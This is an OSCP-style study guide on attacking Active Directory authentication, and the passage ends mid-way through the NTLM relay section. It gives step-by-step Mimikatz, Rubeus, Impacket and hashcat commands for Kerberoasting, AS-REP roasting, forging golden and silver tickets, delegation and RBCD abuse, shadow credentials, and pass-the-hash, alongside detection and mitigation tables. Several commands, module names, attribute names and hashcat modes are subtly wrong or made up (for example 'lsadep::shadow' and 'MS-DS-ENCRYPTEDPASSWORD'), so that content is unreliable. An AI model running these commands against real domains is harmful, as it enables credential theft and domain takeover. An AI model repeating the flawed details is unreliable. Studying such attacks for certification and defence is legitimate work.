Attacking Active Directory Authentication
OSCP Study Guide | Module 18
This chapter covers the authentication layer of Active Directory, focusing on Kerberos, NTLM, credential dumping, and certificate-based attacks.
Table of Contents
- Kerberos Protocol Deep Dive
- Kerberos Attacks
- NTLM Attacks
- Credential Dumping
- Hash Cracking for AD
- Golden vs Silver Ticket
- PAC Binding Attacks
- Certificate-Based Authentication Attacks
- Tools Reference
- Quick Reference Tables
1. Kerberos Protocol Deep Dive
1.1 What is Kerberos?
- Network authentication protocol developed by MIT
- Default authentication protocol in Active Directory since Windows 2000
- Uses symmetric-key cryptography
- Relies on a trusted third party: the Key Distribution Center (KDC)
- Operates on port 88 (TCP and UDP)
1.2 KDC Architecture
The KDC consists of two components:
| Component | Full Name | Function | Port |
|---|---|---|---|
| AS | Authentication Service | Issues TGTs after verifying identity | 88 |
| TGS | Ticket-Granting Service | Issues service tickets using TGT | 88 |
graph TB
subgraph AD_Domain["Active Directory Domain"]
KDC["KDC (Key Distribution Center)"]
AS["AS - Authentication Service"]
TGS["TGS - Ticket Granting Service"]
DB["AD Database<br/>(Stores hashes)"]
SRV["Target Service<br/>(e.g., File Server)"]
KDC --> AS
KDC --> TGS
TGS --> DB
end
CLIENT["Client / User"]
CLIENT -->|1. AS-REQ| AS
AS -->|2. AS-REP<br/>(TGT + Session Key)| CLIENT
CLIENT -->|3. TGS-REQ<br/>(TGT + Authenticator)| TGS
TGS -->|4. TGS-REP<br/>(Service Ticket)| CLIENT
CLIENT -->|5. Service Request<br/>(Service Ticket + Authenticator)| SRV
1.3 Authentication Process (Step by Step)
Step 1: AS-REQ (Authentication Service Request)
- Client sends AS-REQ to KDC’s AS
- Contains:
- Username (principal name)
- Timestamp (encrypted with user’s secret key)
- Requested realm
- If pre-authentication is required, the timestamp is encrypted with the user’s NTLM hash-derived key
Step 2: AS-REP (Authentication Service Response)
- KDC verifies the pre-authentication data
- If valid, KDC returns:
- TGT (Ticket Granting Ticket) — encrypted with the krbtgt account’s hash
- Session Key — encrypted with the user’s hash
- TGT is non-replayable and has a limited lifetime (default: 10 hours)
Step 3: TGS-REQ (Ticket Granting Service Request)
- Client wants to access a specific service
- Sends TGS-REQ to KDC’s TGS containing:
- The TGT (from Step 2)
- An Authenticator — encrypted with the session key from Step 2
- The SPN (Service Principal Name) of the target service
Step 4: TGS-REP (Ticket Granting Service Response)
- TGS decrypts the TGT using the krbtgt hash
- Verifies the authenticator
- Returns:
- Service Ticket — encrypted with the target service’s account hash
- New session key — encrypted with the original session key
Step 5: Service Authentication
- Client presents the service ticket to the target service
- Service decrypts the ticket using its own account hash
- Verifies the authenticator
- Grants access if valid
1.4 Ticket Structure
A Kerberos ticket contains the following fields:
| Field | Description |
|---|---|
| Version Number | Protocol version (usually 5) |
| Ticket Encryption Type | Encryption algorithm (e.g., RC4-HMAC, AES128, AES256) |
| Server Name | The service principal the ticket is for |
| Encryption Key | Session key for secure communication |
| Credentials | Client principal name, domain, etc. |
| Start Time | When the ticket becomes valid |
| End Time | When the ticket expires |
| Renew Till | Maximum renewal time |
| Address List | Allowed client addresses (optional) |
| Checksum | Integrity verification |
| Authorization Data | PAC (Privilege Attribute Certificate) in AD |
1.5 Kerberos Encryption Types
| etype | Algorithm | Strength | Notes |
|---|---|---|---|
| 23 | RC4-HMAC | Weak | Default for older accounts, vulnerable to pass-the-ticket |
| 17 | AES128-HMAC-SHA1 | Medium | Better than RC4 |
| 18 | AES256-HMAC-SHA1 | Strong | Recommended |
| 16 | DES-CBC-MD5 | Broken | Legacy only |
| 1 | DES-CBC-CRC | Broken | Legacy only |
1.6 Kerberos Ports and Traffic
| Port | Protocol | Purpose |
|---|---|---|
| 88 | TCP/UDP | KDC communication (AS and TGS) |
| 464 | TCP/UDP | Password change service (kpasswd) |
| 749 | TCP | KIP (Kerberos Internet Protocol) — rarely used |
1.7 Key Concepts
- Principal: Unique identity in Kerberos (e.g.,
user@DOMAIN.COMorhost/server.domain.com@DOMAIN.COM) - SPN (Service Principal Name): Unique identifier for a service instance (e.g.,
MSSQLSvc/sqlserver.domain.com:1433) - krbtgt: Special account used by KDC; its hash encrypts all TGTs
- PAC (Privilege Attribute Certificate): AD extension containing group memberships and privileges
- Pre-authentication: Extra step to prevent offline password guessing (enabled by default)
2. Kerberos Attacks
2.1 Kerberoasting
Vulnerability Explanation
- Any domain user can request a TGS ticket for any SPN registered in the domain
- The TGS ticket is encrypted with the service account’s NTLM hash
- An attacker can request tickets for all SPNs and crack them offline
- No special privileges required — any authenticated domain user suffices
Prerequisites
- Domain user account (any)
- Network access to the domain
- The target service account must have an SPN registered
Attack Flow
sequenceDiagram
participant Attacker
participant KDC
participant Cracker
Attacker->>KDC: 1. Enumerate all SPNs
Attacker->>KDC: 2. Request TGS for each SPN (TGS-REQ)
KDC-->>Attacker: 3. Return TGS tickets encrypted with service account hash
Attacker->>Cracker: 4. Extract ticket hashes (etype 23/17/18)
Cracker-->>Attacker: 5. Offline crack with Hashcat
Note over Attacker: Obtain plaintext password / NTLM hash
Step-by-Step Exploitation
Method 1: Using Rubeus (Recommended)
# Step 1: Enumerate SPNs
Rubeus.exe kerberoast /stats
# Step 2: Request and extract TGS tickets for all SPNs
Rubeus.exe kerberoast /outfile:tickets.kerberoast
# Step 3: Request TGS for a specific SPN
Rubeus.exe kerberoast /spn:MSSQLSvc/sqlserver.domain.com:1433 /outfile:specific_ticket.hash
Method 2: Using Impacket
# Enumerate and extract TGS tickets
python3 GetUserSPNs.py domain.com/user:password -request-from target_spn -dc-ip 10.0.0.1
# Output contains hash in format: $krb5tgs$23$usename@DOMAIN:realm$...
Method 3: Using PowerShell (GetUserSPNs)
# Request TGS for all SPNs
Get-DomainUser -SPN | Get-DomainServiceAccount
# Or using PowerView
Get-DomainUser -SPN | Get-DomainTGT
Step 4: Crack with Hashcat
# RC4-HMAC (etype 23)
hashcat -m 13100 tickets.kerberoast rockyou.txt -O
# AES128-CTS-HMAC-SHA1 (etype 17)
hashcat -m 19600 tickets.kerberoast rockyou.txt
# AES256-CTS-HMAC-SHA1 (etype 18)
hashcat -m 19600 tickets.kerberoast rockyou.txt
# Combined rule-based attack
hashcat
hashcat -m 13100 tickets.kerberoast rockyou.txt -r rules/best64.rule
Detection and Mitigation
| Detection | Mitigation |
|---|---|
| Monitor TGS-REQ events (Event ID 4769) with large ticket sizes | Use strong, complex passwords for service accounts (25+ chars) |
| Alert on TGS requests for service accounts from unusual users | Use gMSA (Group Managed Service Accounts) — passwords auto-rotated, 120 chars |
| Monitor for etype 23 (RC4) ticket requests | Force AES encryption for service accounts |
| SIEM alert on mass TGS requests in short time | Remove unnecessary SPNs |
| Disable RC4 encryption type at domain level |
2.2 AS-REP Roasting
Vulnerability Explanation
- Some accounts have “Do not require Kerberos preauthentication” enabled
- Without pre-auth, the KDC returns an AS-REP encrypted with the user’s own hash
- Attacker can request AS-REP for any such account and crack offline
- No valid credentials needed — anonymous request works
Prerequisites
- Network access to the domain (no credentials needed)
- Target account must have
DONT_REQ_PREAUTHflag set (UF_DONT_REQUIRE_PREAUTH = 0x400000)
Attack Flow
sequenceDiagram
participant Attacker
participant KDC
participant Cracker
Attacker->>KDC: 1. AS-REQ for user with pre-auth disabled (no encryption)
KDC-->>Attacker: 2. AS-REP encrypted with user's hash (no pre-auth check)
Attacker->>Cracker: 3. Extract hash
Cracker-->>Attacker: 4. Offline crack with Hashcat
Step-by-Step Exploitation
Method 1: Using Rubeus
# Enumerate accounts with pre-auth disabled
Rubeus.exe asreproast /format:hashcat /outfile:asreproast.hashcat
# Or in John the Ripper format
Rubeus.exe asreproast /format:john /outfile:asreproast.john
Method 2: Using Impacket
# Request AS-REP for all vulnerable accounts
python3 GetNPUsers.py domain.com/ -usersfile targets.txt -format hashcat -outputfile asreproast.hash
# For a specific user
python3 GetNPUsers.py domain.com/targetuser -no-pass -format hashcat
Method 3: Using Kerbrute
# Brute force + AS-REP roast in one command
kerbrute asreproast -d domain.com -users usernames.txt -o asreproast_output.txt
Step 4: Crack with Hashcat
# AS-REP Roasting (etype 23 - RC4)
hashcat -m 18200 asreproast.hashcat rockyou.txt -O
# AS-REP Roasting (etype 17 - AES128)
hashcat -m 19100 asreproast.hashcat rockyou.txt
# AS-REP Roasting (etype 18 - AES256)
hashcat -m 19200 asreproast.hashcat rockyou.txt
Detection and Mitigation
| Detection | Mitigation |
|---|---|
| Monitor AS-REQ events (Event ID 4768) without pre-auth data | Enable pre-authentication for all accounts |
| Alert on AS-REQ from anonymous/unauthenticated sources | Audit accounts with DONT_REQ_PREAUTH flag |
| Monitor for AS-REP requests to service accounts | Use automated scanning to detect misconfigured accounts |
Script: Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} |
2.3 Silver Ticket Attack
Vulnerability Explanation
- A Silver Ticket is a forged TGS (service) ticket
- Forged using the NTLM hash of a service account (not krbtgt)
- Grants access to a specific service only
- Does NOT require interaction with the KDC after forging
- The attacker creates the ticket locally and presents it to the target service
Prerequisites
- NTLM hash of the target service account (e.g., MSSQLSvc, CIFS)
- Domain SID
- Target SPN
- No domain credentials needed (offline attack)
Attack Flow
sequenceDiagram
participant Attacker
participant Service
Note over Attacker: 1. Obtain service account NTLM hash
Note over Attacker: 2. Forge TGS ticket locally<br/>(Silver Ticket)
Attacker->>Service: 3. Present forged TGS ticket
Service-->>Attacker: 4. Grant access (no KDC verification needed)
Step-by-Step Exploitation
Using Mimikatz
# Step 1: Gather required information
# - Domain SID: whoami /user
# - Service account hash: obtained via dumping or other means
# Step 2: Create Silver Ticket
# Format: kerberos::golden /sid:<domain_sid> /rc4:<service_hash> /target:<target_host> /service:<service> /user:<attacker> /domain:<domain>
kerberos::golden /sid:S-1-5-21-1234567890-1234567890-1234567890 \
/rc4:aad3b435b51404eeaad3b435b51404ee \
/target:fileserver.domain.com \
/service:cifs \
/user:attacker \
/domain:domain.com \
/ptt
# /ptt = Pass the Ticket (injects into current session)
# Step 3: Access the target service
dir \\fileserver.domain.com\C$
Using Rubeus
# Create Silver Ticket
Rubeus.exe ptt /ticket:silver_ticket.kirbi
# Or create and inject in one step
Rubeus.exe tgs /rc4:<service_hash> /service:cifs /target:fileserver.domain.com /domain:domain.com /user:attacker /ptt
Detection and Mitigation
| Detection | Mitigation |
|---|---|
| Silver tickets do NOT generate KDC events (no Event 4769) | Use strong passwords for service accounts |
| Monitor for authentication without preceding TGS request | Use gMSA for all service accounts |
| Alert on unusual service access patterns | Implement LAPS for local admin passwords |
| Monitor for single-service access from unusual accounts | Enable and audit SACLs on sensitive services |
| Use constrained delegation instead of service accounts with broad access |
2.4 Gold Ticket Attack
Vulnerability Explanation
- A Gold Ticket is a forged TGT (Ticket Granting Ticket)
- Forged using the krbtgt account’s NTLM hash
- Grants access to ANY service in the domain
- Provides domain admin-level access
- Valid for up to 10 years (max TGT lifetime)
- Most dangerous Kerberos attack — full domain compromise
Prerequisites
- NTLM hash of the krbtgt account
- Domain SID
- Domain name
- KRBTGT RID (usually 502)
Attack Flow
sequenceDiagram
participant Attacker
participant AnyService
Note over Attacker: 1. Obtain krbtgt NTLM hash<br/>(DC compromise / DCSync)
Note over Attacker: 2. Forge TGT locally<br/>(Gold Ticket)
Attacker->>AnyService: 3. Present forged TGT to request any service ticket
AnyService-->>Attacker: 4. Grant access to ANY service
Note over Attacker: Full domain compromise achieved
Step-by-Step Exploitation
Using Mimikatz
# Step 1: Obtain krbtgt hash (via DCSync or DC compromise)
lsadump::dcsync /user:krbtgt /domain:domain.com
# Step 2: Create Gold Ticket
kerberos::golden /user:krbtgt /sid:S-1-5-21-1234567890-1234567890-1234567890 \
/rc4:<krbtgt_ntlm_hash> \
/krbtgt \
/domain:domain.com \
/id:500 \
/groups:512,513,512,518,519,520,521,526 \
/startoffset:0 /endin:600 /renewmax:10080 \
/ptt
# /id:500 = Administrator RID
# /groups = Admin group SIDs
# /ptt = Inject ticket into current session
# Step 3: Access any resource
dir \\dc.domain.com\C$
klist tickets # Verify injected ticket
Using Rubeus
# Create Gold Ticket
Rubeus.exe tgtdeleg /nowrap
Rubeus.exe golden /user:Administrator /rc4:<krbtgt_hash> /sid:<domain_sid> /domain:domain.com /ptt
Detection and Mitigation
| Detection | Mitigation |
|---|---|
| Gold tickets bypass KDC — no Event 4768/4769 generated | Rotate krbtgt password TWICE after compromise |
| Monitor for tickets with unusually long lifetimes | Rotate krbtgt regularly (best practice) |
| Alert on admin access from unusual source IPs | Implement tiered administration model |
| Check for tickets with start times in the past | Use privileged access workstations (PAWs) |
| Monitor for Event 4769 with service class 3 (TGT) | Deploy tiered AD model (Tier 0, 1, 2) |
| Enable Kerberos ARM (Account Restriction Mode) |
2.5 Ticket Forwarding
Vulnerability Explanation
- Kerberos tickets can be forwarded to access additional resources
- Constrained Delegation allows a service to obtain tickets on behalf of users
- Resource-Based Constrained Delegation allows machines to specify who can delegate to them
- Attackers can abuse delegation configurations to forward tickets
Types of Ticket Forwarding
| Type | Description | Risk Level |
|---|---|---|
| Unconstrained Delegation | Service collects TGTs of all authenticating users | Critical |
| Constrained Delegation | Service can obtain TGS for specific services only | High |
| Protocol Transition | Service can transition from non-Kerberos to Kerberos | High |
| Resource-Based Constrained | Target machine specifies allowed delegators | High |
2.6 S4U2Self / S4U2Proxy Abuse
Vulnerability Explanation
- S4U (Service for User) extensions allow services to request tickets on behalf of users
- S4U2Self: Service requests a TGS ticket for itself, impersonating a user
- S4U2Proxy: Service requests a TGS ticket to a target service, impersonating a user
- Available when a service account has constrained delegation configured
Prerequisites
- Service account with constrained delegation enabled
- Knowledge of the allowed target services
- Credentials of the service account (or its hash)
Attack Flow
sequenceDiagram
participant Attacker
participant KDC
participant TargetService
Note over Attacker: 1. Compromise service account<br/>with constrained delegation
Attacker->>KDC: 2. S4U2Self: Request TGS for self<br/>impersonating victim user
KDC-->>Attacker: 3. Return forwardable TGS
Attacker->>KDC: 4. S4U2Proxy: Request TGS for target service<br/>on behalf of victim
KDC-->>Attacker: 5. Return service ticket for victim
Attacker->>TargetService: 6. Access target as victim user
Step-by-Step Exploitation
Using Mimikatz
# Step 1: Authenticate as the service account
kerberos::ptt <service_account_ticket.kirbi>
# Step 2: S4U2Self - Get a ticket for the service impersonating a user
kerberos::s4u /user:victim@domain.com /service:cifs/fileserver.domain.com
# Step 3: S4U2Proxy - Get a ticket to the target service
kerberos::s4u /user:victim@domain.com /service:cifs/fileserver.domain.com /impersonate
# Step 4: Access the target
dir \\fileserver.domain.com\C$
Using Rubeus
# S4U attack using Rubeus
Rubeus.exe s4u /user:service_account /rc4:<service_hash> \
/impersonateuser:victim /msdsspn:cifs/fileserver.domain.com \
/domain:domain.com /ptt
Detection and Mitigation
| Detection | Mitigation |
|---|---|
| Monitor Event 4769 with forwardable flag set | Minimize use of constrained delegation |
| Alert on S4U2Self/S4U2Proxy from unexpected services | Use Resource-Based Constrained Delegation instead |
| Monitor for service accounts requesting tickets for high-privilege users | Implement strict SPN access controls |
| Regularly audit delegation configurations |
2.7 Unconstrained Delegation Abuse
Vulnerability Explanation
- A computer/service with unconstrained delegation trusts all authenticating users
- It collects their TGTs in memory (LSASS) for later forwarding
- If an attacker compromises the delegated machine, they can extract these TGTs
- TGT can be used to access any service in the domain
Prerequisites
- Identify a computer account with
TRUSTED_FOR_DELEGATIONflag - Ability to force a high-privilege user to authenticate to that machine
- Compromise of the delegated machine (or ability to dump its LSASS)
Attack Flow
sequenceDiagram
participant Admin
participant DelegatedServer
participant Attacker
Note over DelegatedServer: Unconstrained Delegation Enabled
Admin->>DelegatedServer: 1. Admin authenticates (e.g., SMB, WMI)
Note over DelegatedServer: 2. Admin's TGT stored in LSASS memory
Attacker->>DelegatedServer: 3. Compromise delegated server
Attacker->>DelegatedServer: 4. Dump LSASS memory
Note over Attacker: 5. Extract admin's TGT
Attacker->>AnyService: 6. Use admin's TGT to access any service
Step-by-Step Exploitation
Step 1: Find unconstrained delegation computers
# Using PowerView
Get-NetComputer -Unconstrained
# Using AD module
Get-ADComputer -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo |
Where-Object { $_.PrimaryGroup "TrustedForDelegation" }
# Using Rubeus
Rubeus.exe delegate /nowrap
Step 2: Force authentication to the delegated machine
# Method 1: SMB relay
# Access a share on the delegated machine as a high-privilege user
# Method 2: WMI
wmic /node:delegatedserver.domain.com os get caption
# Method 3: Move a computer account (if you control a machine)
# Set your machine to authenticate as a DA, then access the delegated server
Step 3: Dump TGTs from the delegated machine
# Using Mimikatz
sekurlsa::tickets /export
# Using Rubeus
Rubeus.exe triage
Rubeus.exe dump /ticket:<ticket_id>.kirbi
# Using Rubeus to extract all TGTs
Rubeus.exe dump /service:krbtgt /domain:domain.com
Step 4: Use the extracted TGT
# Inject the TGT
Rubeus.exe ptt /ticket:<extracted_ticket>.kirbi
# Verify
klist
# Access resources as the high-privilege user
dir \\dc.domain.com\C$
Detection and Mitigation
| Detection | Mitigation |
|---|---|
| Monitor Event 4769 for TGT requests to delegated machines | Disable unconstrained delegation unless absolutely necessary |
| Alert on LSASS access from delegated machines | Use constrained delegation instead |
| Monitor for ticket extraction tools on delegated servers | Implement LAPS and restrict admin access to delegated machines |
| Use Group Policy to restrict which accounts can authenticate to delegated machines |
2.8 Constrained Delegation Abuse
Vulnerability Explanation
- A service account has constrained delegation to specific services
- The
msDS-AllowedToDelegateToattribute lists allowed SPNs - If an attacker compromises the service account, they can impersonate any user to the allowed services
- More targeted than unconstrained delegation but still dangerous
Prerequisites
- Credentials or hash of a service account with constrained delegation
- Knowledge of the allowed target SPNs
Attack Flow
sequenceDiagram
participant Attacker
participant KDC
participant TargetService
Note over Attacker: 1. Compromise service account<br/>with constrained delegation
Attacker->>KDC: 2. Request TGS for allowed SPN<br/>impersonating any user
KDC-->>Attacker: 3. Return service ticket for impersonated user
Attacker->>TargetService: 4. Access target service as any user
Step-by-Step Exploitation
Step 1: Find constrained delegation accounts
# Using PowerView
Get-NetUser -TrustedToAuth
Get-NetComputer -TrustedToAuth
# Using AD module
Get-ADUser -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo
Get-ADComputer -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo
Step 2: Exploit using the compromised account
# Using Mimikatz - S4U attack
kerberos::golden /user:service_account /domain:domain.com \
/sid:<domain_sid> /rc4:<service_hash> \
/s4u:user@domain.com /service:cifs/target.domain.com /ptt
# Using Rubeus
Rubeus.exe s4u /user:service_account /rc4:<hash> \
/impersonateuser:target_user /msdsspn:cifs/target.domain.com /ptt
Detection and Mitigation
| Detection | Mitigation |
|---|---|
| Monitor Event 4769 for S4U protocol usage | Minimize constrained delegation usage |
| Alert on service accounts impersonating high-privilege users | Use Resource-Based Constrained Delegation |
| Monitor for unusual SPN access patterns | Regularly audit msDS-AllowedToDelegateTo attributes |
| Implement least-privilege for service accounts |
2.9 Resource-Based Constrained Delegation (RBCD)
Vulnerability Explanation
- Introduced in Windows Server 2012 R2
- The target resource specifies which accounts can delegate to it
- Stored in the
msDS-AllowedToActOnBehalfOfOtherIdentityattribute - Any domain user can create a new computer account
- Any domain user can set RBCD on a computer they control
- If an attacker can modify this attribute on a high-value machine, they can delegate to it
Prerequisites
- Domain user account (any)
- Write access to
msDS-AllowedToActOnBehalfOfOtherIdentityon a target computer - OR ability to create a computer account AND modify RBCD on a target
Attack Flow
sequenceDiagram
participant Attacker
participant AD
participant TargetDC
participant KDC
Note over Attacker: 1. Create attacker-controlled computer account
Attacker->>AD: 2. Set msDS-AllowedToActOnBehalfOfOtherIdentity<br/>on target DC to include attacker's computer
Attacker->>KDC: 3. Authenticate as attacker's computer
Attacker->>KDC: 4. S4U2Self + S4U2Proxy to target DC
KDC-->>Attacker: 5. Return TGS for target DC as any user
Attacker->>TargetDC: 6. Access DC as Domain Admin
Step-by-Step Exploitation
Step 1: Create a computer account
# Using PowerShell
$ComputerName = "ATTACKERPC$"
$SecurePassword = ConvertTo-SecureString "Password123!" -AsPlainText -Force
New-ADComputer -Name $ComputerName -AccountPassword $SecurePassword -Enabled $true
# Using Impacket
python3 addcomputer.py domain.com/user:password -computer-name ATTACKERPC -computer-pass Password123!
Step 2: Set RBCD on the target
# Using PowerView / PowerShell
# Get the SID of the attacker's computer
$AttackerComputer = Get-ADComputer ATTACKERPC
$AttackerSID = $AttackerComputer.SID
# Create a ACE allowing the computer to act on behalf of others
$ACE = New-Object Security.AccessControl.AuthorizationRule(
$AttackerSID,
[System.DirectoryServices.ActiveDirectoryRights]::GenericAll,
[System.Security.AccessControl.AccessControlType]::Allow,
[System.Guid]::NewGuid()
)
# Set on target computer
Set-ADComputer TargetDC -Add @{"msDS-AllowedToActOnBehalfOfOtherIdentity" = $ACE}
# Using Impacket (simpler)
python3 rbcd.py domain.com/user:password -action write -delegate-on TargetDC -delegate-from ATTACKERPC
Step 3: Exploit the delegation
# Using Impacket
python3 getST.py domain.com/ATTACKERPC$:Password123! \
-spn cifs/TargetDC.domain.com \
-impersonate Administrator \
-dc-ip 10.0.0.1
# Inject the ticket
export KRB5CCNAME=Administrator.ccache
# Access the target
python3 psexec.py -k -no-pass TargetDC.domain.com
Detection and Mitigation
| Detection | Mitigation |
|---|---|
Monitor for changes to msDS-AllowedToActOnBehalfOfOtherIdentity |
Restrict computer account creation (Group Policy) |
| Alert on new computer accounts with delegation rights | Use GPO to restrict who can modify RBCD attributes |
| Monitor Event 5136 (directory service changes) for this attribute | Implement ACL auditing on critical computer objects |
| Regularly audit RBCD configurations |
2.10 Shadow Credentials (MS-DS-ENCRYPTEDPASSWORD)
Vulnerability Explanation
- Introduced in Windows 10 1809 and Windows Server 2019
- MS-DS-ENCRYPTEDPASSWORD allows creating credential descriptors on any account
- Any user with
WritePropertyaccess to an account can add a shadow credential - The attacker creates a key pair and stores the public key as a credential descriptor
- The attacker can then authenticate using the private key — bypassing the password entirely
- Works against any account type: users, computers, even trusts
Prerequisites
WritePropertyaccess to the target account (orGenericWrite/GenericAll)- Default computer accounts have
WritePropertyfor their creators and Authenticated Users - No domain admin privileges needed
Attack Flow
sequenceDiagram
participant Attacker
participant AD
participant KDC
Note over Attacker: 1. Obtain WriteProperty on target account
Attacker->>AD: 2. Create credential descriptor<br/>(public key) on target account
Note over Attacker: 3. Keep private key locally
Attacker->>KDC: 4. Authenticate using private key<br/>(certificate-based auth)
KDC-->>Attacker: 5. Issue TGT for target account
Note over Attacker: 6. Full access as target account
Step-by-Step Exploitation
Using Mimikatz
# Step 1: Create shadow credential on a computer account
lsadep::shadow /create /nuser:ATTACKERPC$ /domain:domain.com
# Step 2: Authenticate using the shadow credential
lsadep::shadow /connect:targetcomputer.domain.com /nuser:ATTACKERPC$
# Step 3: DCSync using the shadow credential
lsadump::dcsync /user:domain\krbtgt /domain:domain.com
Using Rubeus + Certify
# Step 1: Create shadow credential
Certify.exe shadow auto /target:targetcomputer$
# Step 2: Request TGT using the private key
Rubeus.exe asktgs /service:crtd/domain.com /ticket:<ticket> /opsec
# Step 3: Use the ticket
Rubeus.exe ptt /ticket:<ticket>.kirbi
Using Impacket
# Create and exploit shadow credentials
python3 shadowcoerce.py domain.com/user:password -target targetcomputer$
# Or using the full chain
python3 getTGT.py domain.com -spn crtd/domain.com -key-file private_key.pem
Detection and Mitigation
| Detection | Mitigation |
|---|---|
| Monitor for creation of credential descriptors (Event 5136) | Remove WriteProperty from Authenticated Users on computer accounts |
Alert on new msDS-KeyCredentialLink values |
Use GPO to restrict credential descriptor creation |
| Monitor for certificate-based authentication from unusual accounts | Audit and restrict msDS-KeyCredentialLink modifications |
| Regularly review computer account ACLs |
2.11 Kerberos Delegation Summary Table
| Attack Type | Required Access | Target | Impact |
|---|---|---|---|
| Kerberoasting | Any domain user | Service accounts with SPNs | Offline crack of service account password |
| AS-REP Roasting | No credentials needed | Accounts without pre-auth | Offline crack of user password |
| Silver Ticket | Service account NTLM hash | Specific service | Access to one service as any user |
| Gold Ticket | krbtgt NTLM hash | Any service in domain | Full domain compromise |
| Unconstrained Delegation | Compromise delegated machine | Any authenticating user’s TGT | Access as any user who authenticated |
| Constrained Delegation | Compromised service account | Allowed SPNs only | Impersonate any user to allowed services |
| RBCD | Write to target’s RBCD attribute | Target computer | Impersonate any user to target |
| Shadow Credentials | WriteProperty on target account | Target account | Full access as target account |
3. NTLM Attacks
3.1 NTLM Protocol Overview
- NTLM (NT LAN Manager) is a challenge-response authentication protocol
- Used when Kerberos is unavailable or fallback is needed
- Three-message handshake: Negotiate, Challenge, Authenticate
sequenceDiagram
participant Client
participant Server
Client->>Server: 1. NTLM Negotiate<br/>(Client capabilities)
Server-->>Client: 2. NTLM Challenge<br/>(8-byte random nonce)
Client->>Server: 3. NTLM Authenticate<br/>(Response = HMAC-NTLM(hash, challenge))
Server-->>Client: 4. Accept / Reject
3.2 Pass-the-Hash (PtH)
Vulnerability Explanation
- NTLM authentication uses the NTLM hash (not plaintext password)
- An attacker with the NTLM hash can authenticate directly
- No need to crack the hash to plaintext
- Works over SMB, WMI, WinRM, and other NTLM-based protocols
Prerequisites
- NTLM hash of a target account
- Network access to target systems
Step-by-Step Exploitation
Using Mimikatz
# Pass the Hash
sekurlsa::pth /user:target_user /domain:domain.com /ntlm:aad3b435b51404eeaad3b435b51404ee
# Or using the full command
sekurlsa::pth /user:Administrator /domain:domain.com /ntlm:<ntlm_hash> /run:"cmd.exe"
# After injection, use standard commands
dir \\target.domain.com\C$
Using CrackMapExec / NetExec
# SMB with Pass-the-Hash
crackmapexec smb 10.0.0.0/24 -u '' -H <ntlm_hash> -d domain.com
# NetExec (newer version)
netexec smb 10.0.0.0/24 -u '' -H <ntlm_hash> -d domain.com
# Execute command
crackmapexec smb 10.0.0.5 -u '' -H <ntlm_hash> -x "whoami"
Using Impacket
# psexec with hash
python3 psexec.py -hashes :<ntlm_hash> domain.com/target_user@10.0.0.5
# wmiexec with hash
python3 wmiexec.py -hashes :<ntlm_hash> domain.com/target_user@10.0.0.5
# smbexec with hash
python3 smbexec.py -hashes :<ntlm_hash> domain.com/target_user@10.0.0.5
Detection and Mitigation
| Detection | Mitigation |
|---|---|
| Monitor Event 4624 with Logon Type 3 (Network) and NTLM | Disable NTLM where possible (use Kerberos) |
| Alert on authentication using only hash (no password) | Enable LSA Protection (RunAsPPL) |
| Monitor for unusual NTLM authentication patterns | Implement Credential Guard |
| Use Group Policy to restrict NTLM authentication |
3.3 Pass-the-Ticket (PtT)
Vulnerability Explanation
- Instead of passing the hash, the attacker passes a Kerberos ticket directly
- Tickets are stored in the user’s session (visible via
klist) - Can be extracted from memory and injected into another session
- Works with both TGTs and TGS tickets
Prerequisites
- Access to a session with valid Kerberos tickets
- Ability to extract tickets from memory (LSASS access)
Step-by-Step Exploitation
Using Mimikatz
# Export all tickets
sekurlsa::tickets /export
# List exported tickets
dir .\kirbi\
# Inject a specific ticket
kerberos::ptt .\kirbi\krbtgt-5-40e100.kirbi
# Verify injection
klist
Using Rubeus
# List all tickets
Rubeus.exe triage
# Dump a specific ticket
Rubeus.exe dump /ticket:9
# Inject a ticket
Rubeus.exe ptt /ticket:extracted_ticket.kirbi
# Dump all TGTs
Rubeus.exe dump /service:krbtgt
Detection and Mitigation
| Detection | Mitigation |
|---|---|
| Monitor for ticket manipulation tools | Enable LSA Protection (RunAsPPL) |
| Alert on klist ticket injection events | Implement Credential Guard |
| Monitor for unusual ticket lifetimes | Use short ticket lifetimes via Group Policy |
| Restrict LSASS access |
3.4 Overpass-the-Hash
Vulnerability Explanation
- Also known as “Native Pass-the-Hash”
- Converts an NTLM hash into a Kerberos TGT
- Uses the AS-REQ protocol with the NTLM hash as the pre-authentication key
- Allows using NTLM hashes in Kerberos-authenticated environments
- Bypasses NTLM restrictions while still using the hash
Prerequisites
- NTLM hash of a target account
- Access to a Windows machine for ticket injection
Step-by-Step Exploitation
Using Mimikatz
# Step 1: Convert NTLM hash to TGT
kerberos::ask /user:target_user /domain:domain.com /rc4:<ntlm_hash>
# Step 2: The TGT is now in the current session
# Verify with klist
klist
# Step 3: Use Kerberos authentication normally
dir \\target.domain.com\C$
Using Rubeus
# Request TGT using RC4 hash
Rubeus.exe asktgt /user:target_user /rc4:<ntlm_hash> /domain:domain.com /ptt
# /ptt automatically injects the ticket
# Request TGT using AES key (if available)
Rubeus.exe asktgt /user:target_user /aes256:<aes_key> /domain:domain.com /ptt
Detection and Mitigation
| Detection | Mitigation |
|---|---|
| Monitor Event 4768 (Kerberos TGT request) with RC4 encryption | Force AES encryption for all accounts |
| Alert on TGT requests from accounts that normally use AES | Disable RC4 encryption type |
| Monitor for TGT requests followed by unusual activity | Enable LSA Protection |
| Use Group Policy to enforce strong encryption types |
3.5 NTLM Relay Attacks
Vulnerability Explanation
- NTLM is a challenge-response protocol with no mutual authentication by default
- An attacker can relay an NTLM authentication from one server to another
- The victim authenticates to the attacker, who forwards the response to the target
- The target accepts the relayed credentials as valid
- No password or hash cracking needed
Prerequisites
- Ability to trigger NTLM authentication from a target (victim)
- Network position to intercept and relay traffic
- Target service that accepts NTLM authentication
Attack Flow
sequenceDiagram
participant Victim
participant Attacker
participant Target
Victim->>Attacker: 1. Victim initiates connection<br/>(SMB, HTTP, LDAP, etc.)
Attacker->>Victim: 2. Attacker sends NTLM Challenge
Victim->>Attacker: 3. Victim sends NTLM Response<br/>(hash + challenge)
Attacker->>Target: 4. Attacker relays response to Target
Target-->>Attacker: 5. Target accepts authentication
Attacker->>Victim: 6. Attacker completes relay
Note over Attacker: Access to Target as Victim
Step-by-Step Exploitation
Using Responder + ntlmrelayx
# Terminal 1: Start Responder to poison LLMNR/NBT-NS
Responder -I eth0 -wrf -rdP
